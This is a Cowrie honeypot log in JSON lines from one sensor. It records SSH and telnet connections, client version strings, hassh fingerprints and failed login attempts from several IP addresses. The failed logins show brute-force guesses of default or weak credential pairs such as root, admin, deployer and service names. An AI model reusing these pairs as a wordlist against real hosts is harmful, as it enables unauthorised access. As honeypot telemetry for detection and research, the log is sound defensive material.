{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:04.153696Z","src_ip":"94.156.152.18","session":"e19cd621cb96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#8VCPU16GBAMD","message":"login attempt [root/QUEENVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:04.583878Z","src_ip":"94.156.152.18","session":"e19cd621cb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:05.715804Z","src_ip":"94.156.152.18","session":"e19cd621cb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42838,"dst_ip":"10.17.0.5","dst_port":22,"session":"af031cb450c5","protocol":"ssh","message":"New connection: 176.65.132.254:42838 (10.17.0.5:22) [session: af031cb450c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:06.307894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:06.312750Z","src_ip":"176.65.132.254","session":"af031cb450c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:06.394678Z","src_ip":"176.65.132.254","session":"af031cb450c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:06.648916Z","src_ip":"176.65.132.254","session":"af031cb450c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.721335649490356,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:07.690873Z","src_ip":"62.210.97.77","session":"15c61c8e32c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:07.866955Z","src_ip":"176.65.132.254","session":"af031cb450c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41408,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2a0d4fa8f4","protocol":"telnet","message":"New connection: 62.210.97.77:41408 (10.17.0.5:23) [session: 8f2a0d4fa8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:08.350527Z"}
{"eventid":"cowrie.session.closed","duration":34.62241339683533,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:08.404137Z","src_ip":"62.210.97.77","session":"6cd865acb4c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56188,"dst_ip":"10.17.0.5","dst_port":23,"session":"48de41e3a7b3","protocol":"telnet","message":"New connection: 62.210.97.77:56188 (10.17.0.5:23) [session: 48de41e3a7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:08.651431Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42862,"dst_ip":"10.17.0.5","dst_port":22,"session":"0181ce334181","protocol":"ssh","message":"New connection: 176.65.132.254:42862 (10.17.0.5:22) [session: 0181ce334181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:10.339260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:10.345918Z","src_ip":"176.65.132.254","session":"0181ce334181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.26855993270874,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:10.417819Z","src_ip":"134.209.8.29","session":"43339907b274","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:10.442908Z","src_ip":"176.65.132.254","session":"0181ce334181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:10.688439Z","src_ip":"176.65.132.254","session":"0181ce334181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":57830,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bb852b4053","protocol":"ssh","message":"New connection: 45.78.198.206:57830 (10.17.0.5:22) [session: 60bb852b4053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:11.337201Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:11.773977Z","src_ip":"176.65.132.254","session":"0181ce334181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5d3bf26691","protocol":"telnet","message":"New connection: 65.60.27.33:49198 (10.17.0.5:23) [session: be5d3bf26691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:12.673260Z"}
{"eventid":"cowrie.session.closed","duration":34.70177340507507,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:13.586890Z","src_ip":"62.210.97.77","session":"b46ee8c73c6e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:13.849684Z","src_ip":"45.78.198.206","session":"60bb852b4053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.092098Z","src_ip":"45.78.198.206","session":"60bb852b4053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40324,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d71b2697188","protocol":"ssh","message":"New connection: 176.65.132.254:40324 (10.17.0.5:22) [session: 7d71b2697188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.162083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.168957Z","src_ip":"176.65.132.254","session":"7d71b2697188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.251459Z","src_ip":"176.65.132.254","session":"7d71b2697188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.544503Z","src_ip":"176.65.132.254","session":"7d71b2697188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52716,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf3439e2bd7","protocol":"telnet","message":"New connection: 65.60.27.33:52716 (10.17.0.5:23) [session: ccf3439e2bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.599229Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":1155,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e731ed6b08","protocol":"ssh","message":"New connection: 190.129.122.12:1155 (10.17.0.5:22) [session: e3e731ed6b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.906037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:14.910870Z","src_ip":"190.129.122.12","session":"e3e731ed6b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:15.081771Z","src_ip":"190.129.122.12","session":"e3e731ed6b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:15.762432Z","src_ip":"176.65.132.254","session":"7d71b2697188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.7492401599884,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:15.793490Z","src_ip":"65.60.27.33","session":"d277ea9b09b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe123","message":"login attempt [admin/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:15.799432Z","src_ip":"190.129.122.12","session":"e3e731ed6b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56202,"dst_ip":"10.17.0.5","dst_port":23,"session":"275b094e42c1","protocol":"telnet","message":"New connection: 62.210.97.77:56202 (10.17.0.5:23) [session: 275b094e42c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:16.325489Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:16.973096Z","src_ip":"190.129.122.12","session":"e3e731ed6b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56206,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7481c46ba8","protocol":"telnet","message":"New connection: 62.210.97.77:56206 (10.17.0.5:23) [session: bb7481c46ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:17.086956Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"admin","message":"login attempt [deployer/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:17.938081Z","src_ip":"45.78.198.206","session":"60bb852b4053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40330,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf0691fb5e2a","protocol":"ssh","message":"New connection: 176.65.132.254:40330 (10.17.0.5:22) [session: bf0691fb5e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:18.040570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:18.045935Z","src_ip":"176.65.132.254","session":"bf0691fb5e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:18.128554Z","src_ip":"176.65.132.254","session":"bf0691fb5e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:18.379116Z","src_ip":"176.65.132.254","session":"bf0691fb5e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:19.481714Z","src_ip":"176.65.132.254","session":"bf0691fb5e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47808,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d5495aa712","protocol":"telnet","message":"New connection: 38.54.119.93:47808 (10.17.0.5:23) [session: a1d5495aa712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:19.588729Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50906,"dst_ip":"10.17.0.5","dst_port":23,"session":"69a1f552f3b0","protocol":"telnet","message":"New connection: 62.210.97.77:50906 (10.17.0.5:23) [session: 69a1f552f3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:20.655757Z"}
{"eventid":"cowrie.session.closed","duration":36.46637582778931,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:20.976192Z","src_ip":"62.210.97.77","session":"5c6c3c6c75ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:21.854912Z","src_ip":"45.78.198.206","session":"60bb852b4053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38f001fa78d","protocol":"telnet","message":"New connection: 65.60.27.33:60680 (10.17.0.5:23) [session: b38f001fa78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:21.875366Z"}
